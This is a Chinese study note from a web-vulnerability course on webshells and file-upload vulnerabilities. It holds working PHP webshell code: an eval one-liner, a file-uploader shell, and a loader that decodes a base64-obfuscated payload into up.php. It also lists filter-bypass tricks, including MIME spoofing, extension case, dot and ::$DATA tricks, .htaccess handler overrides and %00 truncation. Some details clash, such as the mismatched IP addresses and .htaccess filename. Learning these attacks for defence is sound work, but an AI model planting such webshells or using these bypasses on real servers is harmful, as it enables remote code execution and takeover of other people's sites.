1.了解webshell的基本原理和使用
2.一句话上传小马、小马上传大马
一句话上传小马:
#一句话木马写入up.php,测试如下:小马fputs.php
<?php
fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>');
#'cmd'被认为是变量,而"cmd"被认为是字符串,这里只能用""
?>
#一句话木马写入小马为例(写入的时候PHP代码要转为全字母、数字的,可能会经过几次base64编码):
#下面是小马的PHP代码:
<?php
@$temp=$_FILES['upload_file']['tmp_name'];
@$file=basename($_FILES['upload_file']['name']);
if(empty($file)){
echo "<form action='' method='POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file:<input type='file' name='upload_file'>\n";
echo "<input type='submit' value='Upload'>\n";
echo "</form>\n<pre>\n\n</pre>";
}else{
if(move_uploaded_file($temp,$file)){
echo "File uploaded successfully.<p>\n";
}else{
echo "Unable to upload ".$file."<p>\n";
}
}
?>
#在IIS服务下的目录新建webshell文件夹,写一个base64.php:(实现一句话写入小马)
#意思是将小马PHP代码的四次base64编码 解码后 放到up.php中(post方式不能识别任何非数字、字母的字符,所以把up.php经过一次base64编码得到dXAucGhw)
<?php
fputs(fopen(base64_decode('dXAucGhw'),'w'),base64_decode(base64_decode(base64_decode(base64_decode("VlVWUk5XUXlSa2xSVlhSU1VURkpkMWRzWTNoa01VSlVWVzFhVTJFeWVFNVZiRnBQV1d0dmVsWnVaR2xTZW14dlYydFpOV0pYUmxobFIzaExUVlJHYVZOcVRsTmtSMDVIVDFoV1dsWjZSbk5UYWtWM1RqQk9jbEZYZEdGaVYzaDZWMnhSZUdGV2JGbFViWGhwWWxWYU1GZHNUbTVoTVdkM1YydHdWVkpXV2xWV00yeHJUVmRPU0dWSVdscFdNVXB0VjIweGMyTXhjRlJhUjFKWVpWZFNNVmRXWTNoaVJXOTRUVWhDVUdRelFuZFhiV3h2WWtkS1dWRnFRbXhWTW1SeVYyMHhjMk14Y0ZSaE0wSnNaREk1YmxOVlRrSmFNWEJZVkcwNWFXVlZSbkJWUldSaFpHMU9kRTFIWkZwV01EUjNXVlpqTldSV1FsUlpNalZLVW5wR2MxcEZaRzlrYkhCRlRVYzFWbEpVYkZWV2EwNXFXakZLVms1VlVsZFNiWGhTVld4UmQySnRTbGxXYms1clVqSjRNMWRXYUV0TlJYZDVWMjVhYW1KVVFqQlhhMlJIVFVac1ZGbDVkRmxTZWxKd1ZETmtkbG93YkVSUlYyUmhWakExZGxsdWJFSmhWbEpJVDFkd1dsWXpaRzVYYlRGell6RndWV0o2YUdoV2VsWXpXa1pvVWxveVVrbGlTR1JoVmtSQ2RWZHRNWE5qTVhCVVdUSmthV0pWV2pCWGJGRjNZbTFTV1ZGdVRtbE5hMXB5VjBSS1lXTkhTa2hXVnpWUllraG9NVk5YY0hwVE1HeEVVVmRrU2xJeFduRlpWV00wV2pCc2NXVklRbWxpYTBsNFdrVk9RMDFIVmxsUmJYaFJWVEpTTmxwR1pFdGtSMFpaVlZjMVNsTkdjRzlaYTJoWFlrWkNWRnBHV21wU00yZ3lWMVprVW1Kc1FuTmxTRlpLWVc1T1RGTlZUa0phTUd4SVZtMXdhRko2YUc1VFYzQXpaR3h3ZEU5WWJHbFdSRlpxV1cxd05HUXlUblJXVTNSWlVucFdhbGx0Y0ROa2JVNUpVMjE0VVdGVmF6TlJNalI0WWtkS1NWUnRlR3hrTWpsdVUxVk9RbG95UmxoWFZ6bHBWbnByZVZkc1dUVk5WMDVJWlVoYVdsWXhTbk5YYTFrMVlsZEdXR1ZIZUV4Uk1VbDNWMnhqZUdRd2VFUlZiVEZvVmpOb2MxTXhUbk5PTUU1d1VWZGtTbEV3Um01VFZVNUNXakZ3V0ZSdE9XbGxWVVp3VlcweGMyTXhjRlJSYWtacVVqTm9NbGRXWkZOaVJuQkVVVzV3YTFZd05YRlhiR2hQWld4d2RWWnVUbWxUUjNReFZVVm9Ra3N4YUVoT1IyeFFaREk1YmxOVlRrSmFNbHBZVm01T2FrMXNXVE5STW14Q1dqQnNSRkZYWkVwUk1FWnVWMnhrVDJJeVNqVlJWMnhYVm5wV2IxZFhNVFJpUld4SlZXNWFTbE5HV2pOWmEyTTFZVVp3UkZGWGJFMWhWa3AwV1Zaa05HSkZlSEJUVkdocVVrUldhbGx0YkVwT01FNXdVVmRrU2xFd1NUVlJNalIzVXpGQ05rNUVNRDA9")))));
?>
#浏览器、蚁剑、菜刀等可以进行测试:
payload:
http://196.168.1.102/webshell/base64.php
在webshell目录下得到up.php,大马此时已经写入。
http://192.168.1.102/webshell/up.php
查看up.php内容:
注意:出现问题,可能是引号的错误;小马编码几次,上述解码几次。
小马上传大马:
在上述生成的up.php(小马)上传大马文件即可。
3.文件上传漏洞
Ⅰ、文件上传基础:
文件上传产生漏洞的原因:服务器配置不当;开源编辑器的上传漏洞;文件上传限制被绕过;文件解析漏洞导致文件执行;过滤不严或被绕过。
上传文件漏洞危害:攻击者通过上传而已文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等而已操作,从而控制整个网站,甚至服务器,这个恶意的文件(php,asp,aspx,jsp等)又被称为WebShell。
可能存在漏洞的位置:图片上传、头像上传、文档上传。
文件上传检测方式:客户端JavaScript(检测文件扩展名),服务端MIME类型检测(检测content-type内容),服务端目录路径检测(检测跟path参数相关的内容),服务端文件扩展名检测(检测跟文件extension相关的内容),服务端文件内容检测(检测内容是否合法,是否含有恶意代码)等。
Ⅱ、绕过客户端检测:
原理:通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和扩展名是否合法。
方法:在本地浏览器客户端禁用JS即可;可使用火狐浏览器的Noscript插件、IE中禁用JS等方式实现。
过程:对于一个上传图片的表单,前端检测上传文件是否为图片格式(根据后缀来判断)的JS代码,我们可以删除对应的JS代码或者浏览器直接禁用JS,就可以绕过前端的检测。另一种方法是,先改文件的后缀为图片后缀(.jpg .png等),经过BP抓包后修改文件后缀为webshell恶意代码后缀名(.php等)。
Ⅲ、绕过服务端检测
服务端的代码通常检测三个点,MIME类型、文件后缀(黑名单、白名单)、文件内容(文件幻数、文件相关信息、图片渲染、二次渲染)。
文件幻数:文件首部写其他文件类的标识,比如在php文件开头写GIF89a,以图片头骗过检测。
常见MIME类型:
超文本标记语言html文件:text/html
普通文本.txt文件:text/plain
PDF文档.pdf:application/pdf
Microsoft Word文件.word:application/msword
PNG图像.png:image/png
GIF图像.gif:image/gif
MPEG文件.mpg .mpeg:video/mpeg
AVI文件.avi:video/x-msvideo
绕过MIME类型检测:
原理:检测图片类型上传过程中http包的Content-Type字段的值来判断上传文件是否合法。
绕过方法:用BP截取并修改数据包中文件的content-type类型进行绕过。
绕过文件后缀检测-黑名单:(不允许上传的)
文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。
if(isset($_POST['submit'])){
if(file_exists(UPLOAD_PATH)){
$deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspx",".jspa","jsw",".jspf",".jsv",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".asa",".aspx",".asax",".ascx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
}
}
绕过方法:
①后缀大小写绕过:在对后缀的判断中,如果知识对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。(.Php)
②空格绕过:如果黑名单没有对后缀名进行去空处理,可以通过在后缀名加空进行绕过。(.php )
③点绕过:如果黑名单没有对后缀名进行点处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的'.'
通过在文件名后加.进行绕过。(.php.)
④$DATA绕过:如果黑名单没有对后缀名进行去$DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA绕过对黑名单的检测。
⑤配合apache解析漏洞:apache解析有个特点,解析文件时是从右往左判断,如果不可识别解析再往左判断,如aa.php.owf.rar文件,apache不可识别解析'.owf'和'.rar'这两种后缀,会解析成.php文件。
⑥.htaccess文件
配合名单列表绕过,上传自定义的htaccess,就可以轻松绕过各种检测。.htaccess文件(或者“分布式配置文件”),全称是Hypertext Access(超文本入口),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
过程:新建一个.htaccess文件
<FilesMatch "as.png">
SetHandler application/x-httpd-php
</FilesMatch>
通过一个.htaccess文件调用php解析器去解析一个文件名中只要包含“haha”这个字符串的任意文件,所以无论文件名是什么样子,只要包含“haha”这个字符串,都可以被以php的方式来解析一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制。
绕过文件后缀检测-白名单:(必须要上传的)
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断。
(例如:sszdlbw.php%00.png在解析的时候会忽略%00.png,在服务器中存储的是sszdlbw.php)
%00截断:url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。
文件上传漏洞的学习整理源于:web漏洞-文件上传漏洞_哔哩哔哩_bilibili